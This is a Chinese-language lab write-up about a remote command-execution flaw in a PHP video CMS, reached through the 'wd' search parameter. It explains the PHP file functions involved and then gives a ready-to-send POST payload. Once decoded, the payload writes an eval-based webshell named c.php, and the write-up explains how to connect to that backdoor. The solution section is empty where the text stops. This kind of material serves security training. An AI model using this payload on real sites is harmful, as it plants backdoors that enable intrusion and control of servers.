目录
一、靶场环境
1.1、平台:
123.58.224.8:63722
123.58.224.8:51161
123.58.224.8:51161
1.2、知识:
1、可控参数
(审计)
2、fputs()函数
函数写入文件(可安全用于二进制文件),fputs() 函数是 fwrite() 函数的别名
fputs(file,string,length)
参数 描述 file 必需。规定要写入的打开文件。 string 必需。规定要写入文件的字符串。 length 可选。规定要写入的最大字节数。 3、fopen() 函数
打开文件或者 URL,如果打开失败,本函数返回 FALSE
fopen(filename,mode,include_path,context)
参数 描述 filename 必需。规定要打开的文件或 URL。 mode 必需。规定要求到该文件/流的访问类型(值见下表) include_path 可选。如果也需要在 include_path 中检索文件的话,可以将该参数设为 1 或 TRUE。 context 可选。规定文件句柄的环境。Context 是可以修改流的行为的一套选项。
mode 说明 "r" 只读方式打开,将文件指针指向文件头。 "r+" 读写方式打开,将文件指针指向文件头。 "w" 写入方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 "w+" 读写方式打开,将文件指针指向文件头并将文件大小截为零。如果文件不存在则尝试创建之。 "a" 写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 "a+" 读写方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 "x" 创建并以写入方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。
这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。
此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
"x+" 创建并以读写方式打开,将文件指针指向文件头。如果文件已存在,则 fopen() 调用失败并返回 FALSE,并生成一条 E_WARNING 级别的错误信息。如果文件不存在则尝试创建之。
这和给底层的 open(2) 系统调用指定 O_EXCL|O_CREAT 标记是等价的。
此选项被 PHP 4.3.2 以及以后的版本所支持,仅能用于本地文件。
4、base64_decode
对使用 MIME base64 编码的数据进行解码
base64_decode(string $data, bool $strict = false): string
如base64_decode($str)
1.3、描述:
远程攻击者可借助index.php?m=vod-search请求中的‘wd’参数利用该漏洞执行命令
二、漏洞验证
2.1、分析:
漏洞点
http://ip:port/index.php?m=vod-search
在此页面抓包
修改一:
改为POST请求
修改二:
添加POST提交的数据
wd={if-A:print(fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29)}{endif-A}
c.php密码c
后门代码写入的URL地址
http://ip:port/c.php
连接后门
2.4、解题: